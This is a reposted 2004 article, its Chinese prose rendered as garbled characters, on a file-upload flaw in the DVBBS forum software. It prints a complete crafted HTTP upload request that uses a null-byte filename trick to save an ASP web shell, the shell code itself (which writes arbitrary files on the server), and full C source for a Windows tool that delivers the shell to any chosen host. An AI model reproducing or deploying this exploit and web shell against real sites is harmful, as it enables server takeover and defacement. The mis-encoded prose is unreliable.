T086ѧϰ�� | վ��ѧԺ | �����ĵ� | ���� | Ъ���� | IP��ַ��ѯ | �������� | ���ջ��� | �����ֵ� | ���ù��� | ������Ϣ��ѯ

������̳�ϴ��ļ�©����ԭ���Լ������Ĵ���ʵ��

�� ��Դ��54nb���ߣ�Zwell ����ʱ�䣺2004-05-17 | ���壺�� �� С��
[����]����ʱ�䣺2004-05-17�������ԣ�ԭ�������ύ��suei8423 (suei8423_at_163.com)������̳�ϴ��ļ�©����ԭ���Լ������Ĵ���ʵ��----Zwell---http://www.54nb.com����һ��ʱ���Ƚ�æ,ûʲôʱ��Ϊ��֯������(ʵ����ûʵ...


����ʱ�䣺2004-05-17
�������ԣ�ԭ��
�����ύ��suei8423 (suei8423_at_163.com)

������̳�ϴ��ļ�©����ԭ���Լ������Ĵ���ʵ��
----Zwell
---http://www.54nb.com
����һ��ʱ���Ƚ�æ,ûʲôʱ��Ϊ��֯������(ʵ����ûʵ��,�Ǻ�).�պ�ǰһ��ʱ����С��˵����
��̳����һ���ϴ������ļ���©��,��ʱû��ô����.�����ҿ�������NB��̳��ȫ�����������й��ⷽ����
����,���о���һ��,��������©��ȷʵ����,���ҷdz�����,��С���Ļ�˵��DVBBS7.0 SP2����ͨɱ.��Ȼ��Щ
���Ѿ�֪���˹�������,���ǻ��Ǵ���һЩ����.�����ҾͶ���������©����һ�½���.(��֪���᲻�ᱻ��
��,��Ϊ����©��ʵ��̫����).
�����ȿ�һ�¶�����̳�ϴ��ļ������ش���:

'===========�������ϴ�(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''�����ϴ�����
upload.GetDate (int(Forum_Setting(56))*1024) 'ȡ���ϴ�����,���޴�С
iCount=0

if upload.err > 0 then
select case upload.err
case 1
Response.Write "����ѡ����Ҫ�ϴ����ļ���[ <a href=# onclick=history.go(-1)>�����ϴ�</a> ]"
case 2
Response.Write "ͼƬ��С���������� "&Forum_Setting(56)&"K��[ <a href=# onclick=history.go(-1)>�����ϴ�</a> ]"
end select
exit sub
else
formPath=upload.form("filepath")
''��Ŀ¼����(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''�г������ϴ��˵��ļ�
set file=upload.file(formName) ''����һ���ļ�����
if file.filesize<100 then
response.write "����ѡ����Ҫ�ϴ���ͼƬ��[ <a href=# onclick=history.go(-1)>�����ϴ�</a> ]"
response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "�ļ���ʽ����ȷ��[ <a href=# onclick=history.go(-1)>�����ϴ�</a> ]"
response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''���� FileSize > 0 ˵�����ļ�����
file.SaveToFile Server.mappath(filename) ''�����ļ�
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" �ɹ�!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" ���ļ��ϴ�����!"

end if
end sub

�����������п��Կ�������һ��:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
����,filename�DZ������ļ���,���������ϴ�ʱ����������,������չ���DZ������ύ�������ļ�����չ��.����
�����ж��ύ�ļ���������������,��Ȼ��ֱ���ϴ�ASP�ļ��Dz����е�.������������һ����Ϊ��꡵����ݴ�����
������?���ǿ�����reg_upload.asp���ҵ������Ĵ���:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="�ϴ�" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
����,����֪����,��������ȡfile1������fname�����е�ֵ�����жϵ�.Ҳ����˵ֱ�Ӵ�ҳ���ݽ����ǵ�ASP�ļ�
Ҳ���в�ͨ��,����,�����������Լ��������ݰ��Ļ��Ͳ�һ����.����֮�������ķ����������ѹ������ݰ����ﵽ��ƭ��Ŀ��.
���ύ��file1������fname��������ֵ�ijɺϷ����ļ�����.�����Ϳ����ƹ��ļ����͵ļ�����.

��Ȼ,��Ҫ�����ⲻ������,��������ֻ��Ҫ�ϴ���Щ�����Ļ�,������ȫ����ֱ�Ӹ��ļ����ͺ���.���ǵ�Ŀ��
��Ҫ�������ϴ����ļ����ij�ASP,�������Dzſ�������.�ؼ�������һ����:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
���仰��һ���ַ����ϲ�����.�����ܸĵľ���formPath��������.�ڼ������м����ַ����Ĺؼ����ǿ��Ƿ�����''�ַ�,
������,����Ϊ�ַ���������.Ҳ����˵�����ڹ����ϴ��ļ�����·��ʱ,ֻҪ��ƭ������,������Ϊ����"uploadfacezwell.asp"
������·�������Ѿ�������,����,����һ������ʱ���ַ����Ƕ����Բ�Ҫ,�Ӷ��ﵽֱ�ӽ��ļ�����Ϊ���Ƕ������ļ�����Ŀ��.
��Щ,����Ҫ�������ڹ��������ݰ���,�������е�filepath�ij�����uploadfacezwell.asp''���ַ���Ȼ�����ͳ�ȥ������.
����������һ�����ݰ��ĸ�ʽ(��̳�Ϻ��������õ���WSockExpert,�������õ���IRIS,�Ҿ��ø�רҵһ��,^_^):


POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFacezwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:1.gif"
Content-Type: text/plain

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

�ϴ�
-----------------------------7d4a325500d2--

����������������WIN2003�µ��Ե�.����ǰ�潲��,ֻҪ�ļ����ط��ͺ���
1.Content-Disposition: form-data; name="file1"; filename="C:1.gif"
2.Content-Disposition: form-data; name="fname"

C:1.gif
3.����Ҫ�ĵط�:uploadFacezwell.asp,��ô��һ�����ַ���?��UltraEdit�Ǹ��÷���,��16���Ʊ༭,
(��Ϊ''�����ַ�Ҳռһ��λ��,���������ȴ���һ�ո�,Ȼ������UltraEdit�ォ�ԾͿո�����20�ij�00).

����,��ǰ������һ��,ֱ�Ӵ�ץ����������ȡ������.��������һ������.��������Ҫ����Ҫע����һ��:
Content-Length: 1593
�ܶ��˲��Զ�û�ɹ�,����Ϊ����ֵ���IJ���,��ʵ����ֵ�ܺ���,�Ǵӵ�һ��
"-----------------------------7d4a325500d2"��ʼ����,��"-----------------------------7d4a325500d2-- "��ֹ,
���ҿ�����" "������������,ռ�����ַ�.�ҿ���̳�ϴ�����̳ʱ����˵��һ���ַ�ֵ�ͼ�һ,����˵����,ֻ�ǻ�Ҫ������,
�����̵�����ν,����Ҫ�Ǻܳ���ô����?,�������ߴ���һ���򵥵ķ���:�򿪼��±�,���㳤�ȵĴ��븴�Ƶ����±�,����,
Ȼ�������Ծ�һĿ��Ȼ��,һ���ַ���������.ֻ����һ������ע��,���뽫�������Ǽ�������Ҳ���ƽ���.�ܶ��˾�����Ϊû��
���ƻ��в�ʧ�ܵ�.

д����ô��,����Ҳ����,ÿһ��������̫������,���˹����DZ�������,�Ǻ�,���岻��˵��,���ִ�������:
#include <winsock2.h>
#include <stdio.h>
#include "Resource.h"

#pragma comment(lib,"ws2_32.lib")

HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //������ַ
char bbspath[50]; //��̳��ַ
char uppath[20]; //�ϴ�Ŀ¼
char upfilename[50]; //�ϴ��ļ���
char upfiledata[8000]; //�ϴ��ļ�����
int sendsize; //�ܴ������ݴ�С
int realsndsize = 0; //����ҳ���ļ��Ĵ�С
char snddata[8000];
char mm[1000]=
"<%dim objFSO%> "
"<%dim fdata%> "
"<%dim objCountFile%> "
"<%on error resume next%> "
"<%Set objFSO = Server.CreateObject(""Scripting.FileSystemObject"")%> "
"<%if Trim(request(""syfdpath""))<>"""" then%> "
"<%fdata = request(""cyfddata"")%> "
"<%Set objCountFile=objFSO.CreateTextFile(request(""syfdpath""),True)%> "
"<%objCountFile.Write fdata%> "
"<%if err =0 then%> "
"<%response.write ""<font color=red>save Success!</font>""%> "
"<%else%>"
"<%response.write ""<font color=red>Save UnSuccess!</font>""%> "
"<%end if%> "
"<%err.clear%> "
"<%end if%>"
"<%objCountFile.Close%> "
"<%Set objCountFile=Nothing%> "
"<%Set objFSO = Nothing%>"
"<%Response.write ""<form action='' method=post>""%> "
"<%Response.Write ""<input type=text name=syfdpath width=32 size=50>""%> "
"<%Response.Write ""<br>""%> "
"<%=server.mappath(Request.ServerVariables(""SCRIPT_NAME""))%> "
"<%Response.write ""<br>""%> "
"<%Response.write ""<textarea name=cyfddata cols=80 rows=10 width=32></textarea>""%> "
"<%Response.write ""<input type=submit value=save>""%> "
"<%Response.write ""</form>""%> ";

//���ÿؼ��ı�
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}

//���ÿؼ��ı�
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}

char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}

//�ϴ��߳�
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

ZeroMemory((void *)&sin, sizeof(sin));

hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;

sin.sin_port = htons(80);
sin.sin_family = AF_INET;

strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));

realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1 "
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* "
"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp "
"Accept-Language: zh-cn "
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 "
"Accept-Encoding: gzip, deflate "
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) "
"Host: %s "
"Content-Length: %d "
"Connection: Keep-Alive "
"Cache-Control: no-cache "
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF "
"-----------------------------7d4a325500d2 "
"Content-Disposition: form-data; name=""filepath"" "
"%s\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);

sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '';

sprintf(snddata,
" "
"-----------------------------7d4a325500d2 "
"Content-Disposition: form-data; name=""act"" "
"upload "
"-----------------------------7d4a325500d2 "
"Content-Disposition: form-data; name=""file1""; filename=""C:\1.gif"" "
"Content-Type: text/plain "
"%s "
"-----------------------------7d4a325500d2 "
"Content-Disposition: form-data; name=""fname"" "
"C:\1.gif "
"-----------------------------7d4a325500d2 "
"Content-Disposition: form-data; name=""Submit"" "
"�ϴ� "
"-----------------------------7d4a325500d2-- ",
upfiledata);

strcat((char *)&sendbuf[sendsize+1], snddata);

sendsize += strlen(snddata);
sendsize += 1;

if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "���ӳ���!", "������ʾ:", MB_OK|MB_IConERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "��������ʧ��", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}

void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}

static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;

case WM_COMMAND:
On_Command(wParam);
break;

case WM_SIZE:
break;

case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;

g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"�޷���ʼ�� Winsock DLL ","����",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000����ͨ��

����Դ������ʱ���ṩ,���ҿ��Ե���̳����һ��,��������ͬ���Ļ�,���ٹ�����.
��ʲô���⻶ӭ���ҽ���:[email protected] http://www.54nb.com
ת���뱣֤����������.

  • ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
  • �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
������ѯ Health Check Gulangyu
© 2017 T086ѧϰ�� - T086.com(ԭitlearner.com)
RunTime:18.22ms QueryTime:7